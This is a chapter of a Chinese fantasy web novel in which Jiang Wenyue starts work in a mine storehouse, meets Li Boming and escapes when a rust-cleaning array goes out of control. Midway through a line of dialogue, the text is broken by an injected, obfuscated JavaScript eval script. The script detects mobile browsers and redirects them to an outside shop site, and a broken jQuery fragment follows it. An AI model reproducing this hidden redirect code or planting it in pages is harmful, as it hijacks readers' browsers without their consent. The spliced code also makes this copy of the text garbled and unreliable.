江问月看了一眼手中的文书,她之所以能顺利被调到丙字区,是因为谢霖让那位楚郎中改了测灵结果。
她声称自己测灵时出了差错,误判了江问月的修为。江问月的评定瞬间从无等跳到了九等,透着一股要捧杀她的恶意。
不过这也说明,丙字区只接受有一定修为的修士。
这矿场不仅绑架像她和小乞丐这样的凡人,连有修为的修士竟也能被捉进来。
这矿场的背后的势力有些不可想象。
江问月跨进库房大门,整个人瞬间愣住。眼前的景象简直匪夷所思。
一条长条形的巨大石板贯穿屋内,每一条都有十丈长短,石面上密布着古老而繁复的符文。石板两侧嵌满温润的玉石,一道道灵力化作流动的光带,沿着刻痕流转。那光带里承载着一枚枚锈迹斑斑的兵器碎片,正沿着石面缓缓滑行。
这竟然是传送带!
江问月走上前,伸手摸了摸过传送带上滑过的兵器碎片,锈迹斑斑,手感跟小乞丐偷出来的镜子一样,唯一不同的,是这里的铁锈是正常的红褐色。
传送带两旁的几人正麻利地将兵器分类,装入木桶。随后,他们把木桶挂在身边的滑索上,拉动木索,木桶随之缓缓升空,沿着吊索被送往楼上。
这里与其说是库房,不如说是工厂。
没有人注意她,大家都忙得连头也抬不起来。江问月也不打算打扰,径直向库房更深处走去。
她在外面看过一眼,库房应有三层高,没想到只爬了一层就没路了。前方只剩一堵结实的墙壁,楼梯像是凭空折断了一样。江问月敲了敲,实心的。
不知道是什么秘法藏住了三楼,她只好转向二楼。
相比一楼的忙碌,二楼安静得让人心生错觉。整个房间空荡荡的,唯有六人正忙着将木桶里的兵器又倒出来。
江问月的目光落在了一个熟悉的背影上。
那人站得笔直,光看背影,就能感觉出那种四书五经浸透骨髓的气质,仿佛下一秒就要之乎者也起来。
——那正是消失了两天的李伯明。
李伯明动作悠闲,倒铁器的速度慢得像蜗牛,极不认真。
江问月一直觉着李伯明应当认识原主,却又迟迟不相认,不知是心存顾虑,抑或另有隐情。
她想到了谢霖那伙人,心说难道原主也有什么任务在身?
那她的处境就会变得很不妙了。
李伯明心不在焉,立马注意到了站在门口的江问月,打了个招呼。
“你果然没死。”江问月走过去。
“你竟然活到现在。”李伯明感叹。
这俩人一开口,就好像都不想对方好过似的。
“看来李兄适应得很好。”江问月轻声细语地客套道。
李伯明也温柔一笑,手指轻轻摩挲着那些锈迹斑驳的铁器,随意道:“这些阵法不过是些古老玩意儿,不难驾驭。”
只见那剩下的五人早已停下手中的活计,围成一圈,神情肃穆而专注。他们将指尖点在额间,刹那间白光从眉心闪出,映得面容微微发亮。随后,五人双手齐动,飞速掐出一串令人眼花缭乱的手印,江问月看了一通,愣是没记下一个动作,只感觉手指要抽筋。
五人手指齐齐对准那堆锈蚀斑驳的铁器,地面随即浮现出层层叠叠的白光。阵法在灵气的催动下似乎活了过来,光芒刺眼而难辨其形。随着阵法逐渐展开,那堆兵器的锈层一层层脱落,仿佛枯皮褪去,锋利的刃口重新在光中闪烁出寒意。
不到半盏茶功夫,满地残兵锈甲竟焕然如新。
“如你所见,这阵法不过是个洗锈去污的粗手段罢了,”李伯明轻轻一笑,手指点了点地上那些繁复的符文线条,“名字倒不讲究,正式的叫不上来,自己便取了个俗称,白醋阵。”他意味深长地看了眼那施术的五人,“不过,这符文极耗灵力,所以这儿才留了这么多人。”
江问月皱眉,总觉得这事不对劲。
都修仙世界了,还有人会为了些冷兵器耗费这么大的阵仗?她转头问李伯明:“这是在私造兵器?”
李伯明一脸神秘:“说不准哦,这群人窝在这鬼不生蛋的荒原中,说不定就在给朝中哪位亲王办事,意在谋反呢。”
江问月细想,觉得还这真有可能。
待那些兵器都恢复了光泽,五位修士忙也纷纷坐下歇息。有一人从怀中摸出个小布袋,倒出一把黑色的小药丸,吞了下去。
“灵虚丹,常安得卖到三十灵玉一粒,在这里免费领,可以一把一把地吞。”李伯明站在江问月身后说,“这待遇,啧啧啧,不多吃点都浪费了。”
江问月光听这名字也知道这玩意补的是什么了。
李伯明虽然啥也没干,但也摆一副大功告成的模样,仗着自己手无缚鸡之力,开始指挥别人干活。
不幸的是,江问月成了他指挥的对象。他清了清嗓子,拿捏着一股教书先生的腔调:“嗯,今日乃你头一回上工,按规矩,自当由我这前辈替你稍作指点。这样吧,你先去将那一桶兵器移过来,权当练练手。”
江问月瞟了一眼那满满一大桶暗红色兵器,眉头皱得几乎能拧出水,一副无奈样:“可是……我也搬不动。”
李伯明一点也不见外:“不碍事,一件一件丢过来就是了。”
江问月心里暗骂,这库房怎么跟个快递站点似的?
她从桶里随手扔了点兵器过去,抬头时,正好与李伯明四目相对——他的黑眼圈几乎快垂到下巴了。
“你们这儿有下班时间吗?”江问月假装没有意识对面那充满审视的目光。
李伯明笑道:“你看我这样子,像有下班时间吗?”
江问月心里难得地生出些许感激,谢霖之前劝告她别来库房,可能真的是在好心帮她避开这一苦差。
她一边丢,一边又问李伯明:“这里是不是还有个三楼?”
李伯明有些莫名其妙:“三楼就是这啊?”
江问月动作僵住了。
然后她听见李伯明又接了一句:“哦,这楼其中一层在地下,所以你现在所在的这层,的确就是第三层。”
这解释还是没打消江问月的疑虑,她记得这栋建筑外面分明从上到下开了三个窗户。
也许李伯明的存在毫无意义,江问月接手后修士们的进度依旧没受到影响,很快,场地中央又堆出了一座铁器山。
李伯明站起身,带点考校的意味问道:“刚才那些动作,你都学会了吗?”
江问月心中暗骂:看懂个鬼!
她侧身让李伯明顶上,但李伯明耍起了赖:“唉,我感觉自己都快被榨干了,倒是你初来乍到,何不替我顶一顶?”
江问月语气淡淡:“累了就去嗑药。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009248|148573||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
李伯明表示拒绝:“是药三分毒,那药越吃越虚。”
江问月心想你现在也挺虚的,但面上不动声色:“你们动作太快,我看不清。不如再多示范几次?”
李伯明只好不情愿得顶了上来。
江问月的目光紧盯着中央那座阵法,那复杂的结印动作她还是一个都没去记,只盯着阵法中的符文——似曾相识,仿佛与七井有某种说不清的关联。
她虽然没有灵力,却对这些古怪阵法异常敏感。
阵法的符文在江问月眼前跳跃,灵光刺目,晃得她眼前一阵阵发黑。她定了定神,脑中掠过谢霖的话,七井之下的阵法是上古遗留,而眼前这个阵法,难不成也出自同样的手笔?
她最近阵法看得颇多,符文间的灵力流转早已能够细致分辨,可不知为何,今日的阵法似乎有些不同。灵力注入的力度似乎有点大,符文间偶尔闪烁着一丝难以察觉的躁动。
就在这时,一声低沉的嗡鸣在耳边炸开,仿佛远天的雷声突兀地逼近,沉重而压迫。就在瞬息之间,阵法中的灵力波动陡然狂暴,涌动如决堤的江河,失去了原本的均匀流转。
“怎么回事?”江问月心中一惊,尚未细思,便看见场地中央那堆兵器剧烈颤抖起来。随后阵法符文上那些平稳流淌的灵力如同失了缰的猛兽,四处狂奔。
整座库房都开始不安地震颤,像是一只无形的巨兽在暗中觉醒。
“快跑!”一旁的修士面色骤变,大喊一声,转身就逃。
江问月还未反应过来,便瞥见李伯明已经如一阵风般跃起,没命似的朝门口飞奔。那潇洒逃命的身影一闪而过,瞬间没了踪影。
““跑得倒是真快!”江问月咬牙低骂,心中暗恨,却不敢有丝毫耽搁,脚下紧跟着拔腿狂奔。
才跑出几步,身后忽然传来一股狂暴的吸力,瞬间像漩涡般将周围一切卷入其中。兵器碎片、木桶都被那股吸力吸住,飞速朝阵法中心涌去,随即悄无声息地消失不见。
前方猛地一阵劲风扑面而来,江问月尚未来得及反应,只听风声尖啸,眼前忽然一黑,一道黑影疾速逼近,直朝她砸来。她来不及细想,身子条件反射般趴下,险险躲过飞来的木桶。
这一耽搁,身后的阵法又追了上来。
周围的修士们甚至连自己鞋子都顾不上了,光着脚丫子狂奔。
江问月心中一边暗骂李伯明那家伙跑得比谁都快,一边咬牙拼命冲向出口。她身后传来阵法愈发强烈的撕扯感,那股力量快把她的后背撕裂了。
就在她一脚跨出门槛的刹那,身后那股阵法的力量突然像撞上了无形的屏障,骤然停滞。吸力瞬间消失,整层楼恢复了诡异的平静,只剩下她急促的呼吸声,在狭窄的楼梯间回荡。
“差点死了!”江问月扶着门框,喘着气长舒一口气。
“没事吧?”李伯明悠然从一旁的阴影里走了出来。
江问月瞥了他一眼,心想你刚刚跑得时候怎么没想起关系我,便笑着回敬道:“多谢李公子的关心,只是比不过李公子那般神速,倒也勉强逃得出来。”
李伯明对她的讽刺充耳不闻,反而一本正经地解释起来:“哦,这阵法偶尔会失控,已经不止一次了。二楼有个结界,阵法失控时只需跑出门便无碍,多逃几次,你就会习惯的。”
这阵法失控的频率听上去不低。